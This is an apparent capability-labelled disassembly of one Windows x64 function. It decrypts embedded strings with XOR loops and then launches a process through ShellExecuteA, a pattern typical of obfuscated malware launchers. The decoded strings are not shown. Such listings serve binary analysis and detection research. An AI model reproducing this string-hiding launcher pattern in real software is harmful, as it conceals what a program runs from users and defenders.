Function at 0x402529
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
lea rbx, [rsp + 0x40]
mov rcx, rbx
call fcn.0040245f
lea rcx, [0x004abf60]
call fcn.00412ff0
lea rcx, [0x004abf40]
mov rsi, rax
call fcn.00412ff0
cmp byte [rsi], 0
jne 0x40257a
mov qword [rax], 0
mov dword [rax + 8], 0x93b00000
mov byte [rsi], 1
cmp byte [rax + 9], 0
lea rbp, [rax + 0xa]
jne 0x4025e6
mov rcx, rbp
mov r9b, 0x92
mov r10b, 0x93
mov edx, dword [rax + 4]
mov r8d, dword [rax]
lea r11d, [rdx + 1]
cmp r8d, r11d
jne 0x4025a0
inc edx
jmp 0x4025d2
lea r11d, [rdx + 2]
cmp r8d, r11d
jne 0x4025ae
add edx, 2
jmp 0x4025d2
cmp r8d, edx
jne 0x4025b8
xor byte [rcx], r9b
jmp 0x4025d8
lea r11d, [rdx + 4]
cmp r8d, r11d
jne 0x4025c6
add edx, 3
jmp 0x4025d2
lea r11d, [rdx + 5]
cmp r8d, r11d
jne 0x4025d8
add edx, 4
xor byte [rcx], dl
inc dword [rax]
jmp 0x40258d
inc rcx
cmp r9b, 0x93
je 0x4025e6
mov r9d, r10d
jmp 0x40258d
lea rcx, [0x004abf20]
mov byte [rax + 9], 1
call fcn.00412ff0
lea rcx, [0x004abf00]
mov r12, rax
call fcn.00412ff0
cmp byte [r12], 0
mov r8, rax
lea rdx, [rax + 0xa]
jne 0x40267c
lea rdi, [rsp + 0x80]
mov ecx, 0xc
mov qword [rax], 0
lea rsi, [0x004b0640]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0xb0]
mov ecx, 0xc
lea rsi, [rsp + 0x80]
rep movsd dword [rdi], dword [rsi]
mov ecx, 9
mov rdi, rdx
rep stosd dword [rdi], eax
lea r9, [rsp + 0xb0]
mov eax, 0xa
mov cl, byte [r9 + rax]
mov byte [r8 + rax], cl
inc rax
cmp rax, 0x2e
jne 0x402666
mov byte [r12], 1
cmp byte [r8 + 9], 0
mov rcx, rdx
mov r10b, 0x92
jne 0x4026e2
mov eax, dword [r8 + 4]
mov r9d, dword [r8]
lea r11d, [rax + 1]
cmp r9d, r11d
jne 0x40269d
inc eax
jmp 0x4026cf
lea r11d, [rax + 2]
cmp r9d, r11d
jne 0x4026ab
add eax, 2
jmp 0x4026cf
cmp r9d, eax
jne 0x4026b5
xor byte [rcx], r10b
jmp 0x4026d6
lea r11d, [rax + 4]
cmp r9d, r11d
jne 0x4026c3
add eax, 3
jmp 0x4026cf
lea r11d, [rax + 5]
cmp r9d, r11d
jne 0x4026d6
add eax, 4
xor byte [rcx], al
inc dword [r8]
jmp 0x402689
inc r10d
inc rcx
cmp r10b, 0xb6
jne 0x402689
lea r13, [rsp + 0x80]
mov byte [r8 + 9], 1
mov rcx, r13
call fcn.004023f2
mov rdx, rbx
mov rcx, r13
call fcn.00496060
lea r14, [rsp + 0xb0]
mov rdx, rax
mov rcx, r14
call fcn.00497910
mov rdx, rbp
call fcn.00495fe0
lea rbp, [rsp + 0x60]
mov rdx, rax
mov rcx, rbp
call fcn.00497910
mov rcx, r14
call fcn.00495540
mov rcx, r13
call fcn.00495540
lea rcx, [0x004abfe0]
mov r12, qword [rsp + 0x60]
call fcn.00412ff0
lea rcx, [0x004abfc0]
mov r15, rax
call fcn.00412ff0
cmp byte [r15], 0
jne 0x4027af
lea rsi, [0x004b0610]
mov ecx, 5
mov rdi, r13
mov qword [rax], 0
rep movsd dword [rdi], dword [rsi]
mov ecx, 5
mov rdi, r14
mov rsi, r13
mov word [rax + 8], 0
mov edx, 0xa
rep movsd dword [rdi], dword [rsi]
mov qword [rax + 0xa], 0
mov cl, byte [r14 + rdx]
mov byte [rax + rdx], cl
inc rdx
cmp rdx, 0x12
jne 0x40279b
mov byte [r15], 1
cmp byte [rax + 9], 0
lea r8, [rax + 0xa]
mov r10b, 0x93
mov rcx, r8
jne 0x402816
mov edx, dword [rax + 4]
mov r9d, dword [rax]
lea r11d, [rdx + 1]
cmp r9d, r11d
jne 0x4027d2
inc edx
jmp 0x402804
lea r11d, [rdx + 2]
cmp r9d, r11d
jne 0x4027e0
add edx, 2
jmp 0x402804
cmp r9d, edx
jne 0x4027ea
xor byte [rcx], r10b
jmp 0x40280a
lea r11d, [rdx + 4]
cmp r9d, r11d
jne 0x4027f8
add edx, 3
jmp 0x402804
lea r11d, [rdx + 5]
cmp r9d, r11d
jne 0x40280a
add edx, 4
xor byte [rcx], dl
inc dword [rax]
jmp 0x4027bf
inc r10d
inc rcx
cmp r10b, 0x9b
jne 0x4027bf
lea rcx, [0x004abfa0]
mov byte [rax + 9], 1
mov qword [rsp + 0x38], r8
call fcn.00412ff0
lea rcx, [0x004abf80]
mov rsi, rax
call fcn.00412ff0
cmp byte [rsi], 0
mov r8, qword [rsp + 0x38]
jne 0x402896
mov rdx, qword [0x004b0638]
mov qword [rax], 0
mov rcx, qword [0x004b0630]
mov word [rax + 8], 0
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x88], rdx
mov edx, dword [rsp + 0xba]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0xb0], rcx
mov dword [rax + 0xa], edx
mov dl, byte [rsp + 0xbe]
mov byte [rax + 0xe], dl
mov byte [rsi], 1
cmp byte [rax + 9], 0
lea rdx, [rax + 0xa]
mov r11b, 0x93
mov r9, rdx
jne 0x4028fa
mov ecx, dword [rax + 4]
mov r10d, dword [rax]
lea esi, [rcx + 1]
cmp r10d, esi
jne 0x4028b8
inc ecx
jmp 0x4028e7
lea esi, [rcx + 2]
cmp r10d, esi
jne 0x4028c5
add ecx, 2
jmp 0x4028e7
cmp r10d, ecx
jne 0x4028cf
xor byte [r9], r11b
jmp 0x4028ee
lea esi, [rcx + 4]
cmp r10d, esi
jne 0x4028dc
add ecx, 3
jmp 0x4028e7
lea esi, [rcx + 5]
cmp r10d, esi
jne 0x4028ee
add ecx, 4
xor byte [r9], cl
inc dword [rax]
jmp 0x4028a6
inc r11d
inc r9
cmp r11b, 0x98
jne 0x4028a6
mov byte [rax + 9], 1
mov r9, r12
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rbp
call fcn.00495540
mov rcx, rbx
call fcn.00495540
nop
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret